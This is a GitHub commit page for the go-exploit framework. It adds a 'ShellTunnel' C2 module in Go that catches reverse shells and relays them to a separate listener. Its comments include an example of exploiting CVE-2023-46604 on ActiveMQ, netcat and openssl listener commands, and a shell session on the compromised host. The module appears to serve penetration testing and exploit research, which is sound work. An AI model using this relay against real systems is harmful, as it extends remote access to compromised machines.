Skip to content

Commit 1a4f7f8

Browse files
authored
Merge pull request #262 from vulncheck-oss/shelltunnel
Initial implementation of ShellTunnel
2 parents 67eac5a + adbf183 commit 1a4f7f8

File tree

4 files changed

+258
-9
lines changed

4 files changed

+258
-9
lines changed

.golangci.yml

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ linters:
5757
- importas
5858
- interfacebloat
5959
- intrange
60-
- lll
60+
#- lll
6161
- loggercheck
6262
- makezero
6363
- mirror
@@ -93,8 +93,6 @@ linters:
9393

9494

9595
linters-settings:
96-
lll:
97-
line-length: 160
9896
cyclop:
9997
max-complexity: 25
10098
issues:
@@ -111,10 +109,13 @@ issues:
111109
linters:
112110
- staticcheck
113111
text: SA1019
112+
- path: c2/shelltunnel/shelltunnel.go
113+
linters:
114+
- staticcheck
115+
text: SA1019
116+
- path: cli/commandline_test.go
117+
linters:
118+
- staticcheck
119+
text: SA1019
114120
exclude-files:
115-
- protocol/mikrotik/mikrotik_test.go
116121
- protocol/mikrotik/msg.go
117-
- protocol/rocketmq/remoting.go
118-
- protocol/payloads
119-
- cli/commandline_test.go
120-
- payload/wrapper_test.go

c2/factory.go

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ import (
55
"github.com/vulncheck-oss/go-exploit/c2/external"
66
"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
77
"github.com/vulncheck-oss/go-exploit/c2/httpserveshell"
8+
"github.com/vulncheck-oss/go-exploit/c2/shelltunnel"
89
"github.com/vulncheck-oss/go-exploit/c2/simpleshell"
910
"github.com/vulncheck-oss/go-exploit/c2/sslshell"
1011
"github.com/vulncheck-oss/go-exploit/output"
@@ -35,6 +36,7 @@ const (
3536
HTTPServeFileCategory category = 3
3637
HTTPServeShellCategory category = 4
3738
ExternalCategory category = 5
39+
ShellTunnelCategory category = 6
3840
)
3941

4042
// Simplified names in order to keep the old calling convention and allow
@@ -45,6 +47,7 @@ var (
4547
SSLShellServer = internalSupported["SSLShellServer"]
4648
HTTPServeFile = internalSupported["HTTPServeFile"]
4749
HTTPServeShell = internalSupported["HTTPServeShell"]
50+
ShellTunnel = internalSupported["ShellTunnel"]
4851
// We do not want external to be called directly because external
4952
// internally is not useful.
5053
)
@@ -60,7 +63,8 @@ var internalSupported = map[string]Impl{
6063
"HTTPServeShell": {Name: "HTTPServeShell", Category: HTTPServeShellCategory},
6164
// Insure the internal supported External module name is an error if used
6265
// directly.
63-
"External": {Name: "", Category: InvalidCategory},
66+
"External": {Name: "", Category: InvalidCategory},
67+
"ShellTunnel": {Name: "ShellTunnel", Category: ShellTunnelCategory},
6468
}
6569

6670
// Add an external C2 to the supported list. Use this to integrate a new C2
@@ -99,6 +103,8 @@ func GetInstance(implementation Impl) (Interface, bool) {
99103
if implementation.Name != "" {
100104
return external.GetInstance(implementation.Name), true
101105
}
106+
case ShellTunnelCategory:
107+
return shelltunnel.GetInstance(), true
102108
case InvalidCategory:
103109
// Calling your external C2 as explicitly invalid is odd.
104110
output.PrintFrameworkError("Invalid C2 Server")
@@ -126,6 +132,8 @@ func CreateFlags(implementation Impl) {
126132
if implementation.Name != "" {
127133
external.GetInstance(implementation.Name).CreateFlags()
128134
}
135+
case ShellTunnelCategory:
136+
shelltunnel.GetInstance().CreateFlags()
129137
case InvalidCategory:
130138
// Calling your external C2 as explicitly invalid is odd.
131139
output.PrintFrameworkError("Invalid C2 Server")

c2/shelltunnel/shelltunnel.go

Lines changed: 239 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,239 @@
1+
// shelltunnel is a simple C2 that copies shell traffic between a reverse shell origin and
2+
// a connectback server. It essentially allows for this setup:
3+
//
4+
// | Box 1 | | Box 2 | | Box 3 |
5+
// | nc -l | <- shell traffic -> | shell tunnel | <- shell traffic -> | shell origin |
6+
//
7+
// Where 'nc -l' is basically any C&C you want that accepts reverse shells, box 2 is the attacker
8+
// box, and box 3 is the victim. In this example, go-exploit on box 2 (attacker box) can act as
9+
// an egress for the reverse shell generated on the victim (box 3). The shell tunnel will just
10+
// copy the traffic data between the two boxes (1 & 3). This is appealing over something like a socks5
11+
// proxy or more advanced tunneling because it simply works and requires, for the exploit dev,
12+
// no extra work beyond generating the initial shell (via *ShellServer or a binary or whatever).
13+
//
14+
// Usage example using an unencrypted reverse shell:
15+
//
16+
// albinolobster@mournland:~/initial-access/feed/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12
17+
// time=2024-10-28T15:05:21.600-04:00 level=STATUS msg="Starting listener on 10.9.49.192:1270"
18+
// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.56 port=61616 ssl=false "ssl auto"=false
19+
// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.192:1270"
20+
// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="HTTP server listening for 10.9.49.192:8080/TMURWfRGRdSZ"
21+
// time=2024-10-28T15:05:23.603-04:00 level=STATUS msg=Connecting...
22+
// time=2024-10-28T15:05:23.630-04:00 level=STATUS msg="Sending exploit"
23+
// time=2024-10-28T15:05:23.656-04:00 level=STATUS msg="Sending payload"
24+
// time=2024-10-28T15:05:23.675-04:00 level=STATUS msg="Sending payload"
25+
// time=2024-10-28T15:05:23.757-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.56:48440"
26+
// time=2024-10-28T15:05:23.758-04:00 level=SUCCESS msg="Connect back to 10.9.49.12:1270 success!"
27+
// time=2024-10-28T15:05:28.633-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
28+
//
29+
// Above, you can see we've exploited a remote ActiveMQ (10.9.49.56), caught a reverse shell, and connected it back to a listener
30+
// at 10.9.49.12:1270. The shell there looks like this:
31+
//
32+
// parallels@ubuntu-linux-22-04-02-desktop:~$ nc -lvnp 1270
33+
// Listening on 0.0.0.0 1270
34+
// Connection received on 10.9.49.192 51478
35+
// pwd
36+
// /opt/apache-activemq-5.15.2
37+
//
38+
// The tunnel can also support catching and relaying TLS (or a mix of either). For example, the above can be updated like so:
39+
//
40+
// ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 -shellTunnel.cbSSL -shellTunnel.sslListen
41+
//
42+
// And the reverse shell can now be caught by openssl:
43+
//
44+
// parallels@ubuntu-linux-22-04-02-desktop:~$ openssl s_server -quiet -key key.pem -cert cert.pem -port 1270
45+
// pwd
46+
// /opt/apache-activemq-5.15.2
47+
package shelltunnel
48+
49+
import (
50+
"crypto/tls"
51+
"errors"
52+
"flag"
53+
"fmt"
54+
"io"
55+
"net"
56+
"strconv"
57+
"strings"
58+
"time"
59+
60+
"github.com/vulncheck-oss/go-exploit/c2/channel"
61+
"github.com/vulncheck-oss/go-exploit/encryption"
62+
"github.com/vulncheck-oss/go-exploit/output"
63+
"github.com/vulncheck-oss/go-exploit/protocol"
64+
)
65+
66+
type Server struct {
67+
// the TCP listener that will accept all the connections
68+
Listener net.Listener
69+
70+
// the server address/hostname to tunnel the data to
71+
ConnectBackHost string
72+
73+
// the server port to tunnel the data to
74+
ConnectBackPort int
75+
76+
// indicates if we should use an encrypted tunnel to the server
77+
ConnectBackSSL bool
78+
79+
// indicates if we should be listening as an SSL server
80+
SSLShellServer bool
81+
82+
// The file path to the user provided private key (if provided)
83+
PrivateKeyFile string
84+
85+
// The file path to the user provided certificate (if provided)
86+
CertificateFile string
87+
}
88+
89+
var (
90+
serverSingleton *Server
91+
92+
ErrTLSListener = errors.New("tls listener init")
93+
)
94+
95+
func GetInstance() *Server {
96+
if serverSingleton == nil {
97+
serverSingleton = new(Server)
98+
}
99+
100+
return serverSingleton
101+
}
102+
103+
func (shellTunnel *Server) CreateFlags() {
104+
flag.StringVar(&shellTunnel.ConnectBackHost, "shellTunnel.cbHost", "", "The server to tunnel the data back to")
105+
flag.IntVar(&shellTunnel.ConnectBackPort, "shellTunnel.cbPort", 1270, "The server port to tunnel the data back to")
106+
flag.BoolVar(&shellTunnel.ConnectBackSSL, "shellTunnel.cbSSL", false, "Indicates if the connect-back should use SSL/TLS")
107+
108+
// optional for when SSL server is enabled
109+
flag.BoolVar(&shellTunnel.SSLShellServer, "shellTunnel.sslListen", false, "Indicates if we should listen as an SSL/TLS server")
110+
flag.StringVar(&shellTunnel.PrivateKeyFile, "shellTunnel.PrivateKeyFile", "", "A private key to use when being an SSL server")
111+
flag.StringVar(&shellTunnel.CertificateFile, "shellTunnel.CertificateFile", "", "The certificate to use when being an SSL server")
112+
}
113+
114+
func (shellTunnel *Server) Init(channel channel.Channel) bool {
115+
if channel.IsClient {
116+
output.PrintFrameworkError("Called ShellTunnel as a client. Use lhost and lport.")
117+
118+
return false
119+
}
120+
if shellTunnel.ConnectBackHost == "" {
121+
output.PrintFrameworkError("Failed to provide a connect back host")
122+
123+
return false
124+
}
125+
if shellTunnel.ConnectBackPort == 0 {
126+
output.PrintFrameworkError("Failed to provide a connect back port")
127+
128+
return false
129+
}
130+
131+
output.PrintfFrameworkStatus("Starting listener on %s:%d", channel.IPAddr, channel.Port)
132+
133+
var err error
134+
if shellTunnel.SSLShellServer {
135+
shellTunnel.Listener, err = shellTunnel.createTLSListener(channel)
136+
} else {
137+
shellTunnel.Listener, err = net.Listen("tcp", channel.IPAddr+":"+strconv.Itoa(channel.Port))
138+
}
139+
140+
if err != nil {
141+
output.PrintFrameworkError("Couldn't create the server: " + err.Error())
142+
143+
return false
144+
}
145+
146+
return true
147+
}
148+
149+
func (shellTunnel *Server) Run(timeout int) {
150+
// track if we got a shell or not
151+
success := false
152+
153+
// terminate the server if no shells come in within timeout seconds
154+
go func() {
155+
time.Sleep(time.Duration(timeout) * time.Second)
156+
if !success {
157+
output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
158+
shellTunnel.Listener.Close()
159+
}
160+
}()
161+
162+
// Accept arbitrary connections. In the future we need something for the
163+
// user to select which connection to make active
164+
for {
165+
client, err := shellTunnel.Listener.Accept()
166+
if err != nil {
167+
if !strings.Contains(err.Error(), "use of closed network connection") {
168+
output.PrintFrameworkError(err.Error())
169+
}
170+
171+
return
172+
}
173+
success = true
174+
output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr())
175+
go handleTunnelConn(client, shellTunnel.ConnectBackHost, shellTunnel.ConnectBackPort, shellTunnel.ConnectBackSSL)
176+
}
177+
}
178+
179+
func (shellTunnel *Server) createTLSListener(channel channel.Channel) (net.Listener, error) {
180+
var ok bool
181+
var err error
182+
var certificate tls.Certificate
183+
if len(shellTunnel.CertificateFile) != 0 && len(shellTunnel.PrivateKeyFile) != 0 {
184+
certificate, err = tls.LoadX509KeyPair(shellTunnel.CertificateFile, shellTunnel.PrivateKeyFile)
185+
if err != nil {
186+
return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener)
187+
}
188+
} else {
189+
output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate")
190+
certificate, ok = encryption.GenerateCertificate()
191+
if !ok {
192+
return nil, fmt.Errorf("GenerateCertificate failed %w", ErrTLSListener)
193+
}
194+
}
195+
196+
output.PrintfFrameworkStatus("Starting TLS listener on %s:%d", channel.IPAddr, channel.Port)
197+
listener, err := tls.Listen(
198+
"tcp", fmt.Sprintf("%s:%d", channel.IPAddr, channel.Port), &tls.Config{
199+
Certificates: []tls.Certificate{certificate},
200+
// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.
201+
MinVersion: tls.VersionSSL30,
202+
})
203+
if err != nil {
204+
return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener)
205+
}
206+
207+
return listener, nil
208+
}
209+
210+
func handleTunnelConn(clientConn net.Conn, host string, port int, ssl bool) {
211+
defer clientConn.Close()
212+
213+
// attempt to connect back to the serve. MixedConnect is both proxy aware and can
214+
// produce an ssl or unencrypted connection so works pretty nice here
215+
serverConn, ok := protocol.MixedConnect(host, port, ssl)
216+
if !ok {
217+
output.PrintfFrameworkError("Failed to connect back to %s:%d", host, port)
218+
219+
return
220+
}
221+
output.PrintfFrameworkSuccess("Connect back to %s:%d success!", host, port)
222+
223+
defer serverConn.Close()
224+
225+
done := make(chan struct{})
226+
227+
// copy between the two endpoints until one dies
228+
go func() {
229+
_, _ = io.Copy(serverConn, clientConn)
230+
done <- struct{}{}
231+
}()
232+
233+
go func() {
234+
_, _ = io.Copy(clientConn, serverConn)
235+
done <- struct{}{}
236+
}()
237+
238+
<-done
239+
}

docs/c2.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ In `go-exploit`, the command and control (C2) provides very basic second stage a
99
3. *SSLShellServer* - An encrypted shell via a reverse shell.
1010
4. *HTTPServeFile* - An HTTP server that serves a user provided file (e.g. to server a Meterpreter payload).
1111
5. *HTTPServeShell* - An HTTP server that serves a user provided binary that will connect back to the exploit for `SSLShellServer` or `SimpleShellServer`.
12+
6. *ShellTunnel* - A C2 that will catch a reverse shell, connect to a listener, and proxy the data between the two.
1213

1314
`go-exploit` also supports a `-o` option which means "The c2 is handled by an outside program so don't expect any type of connect back."
1415

0 commit comments

Comments
 (0)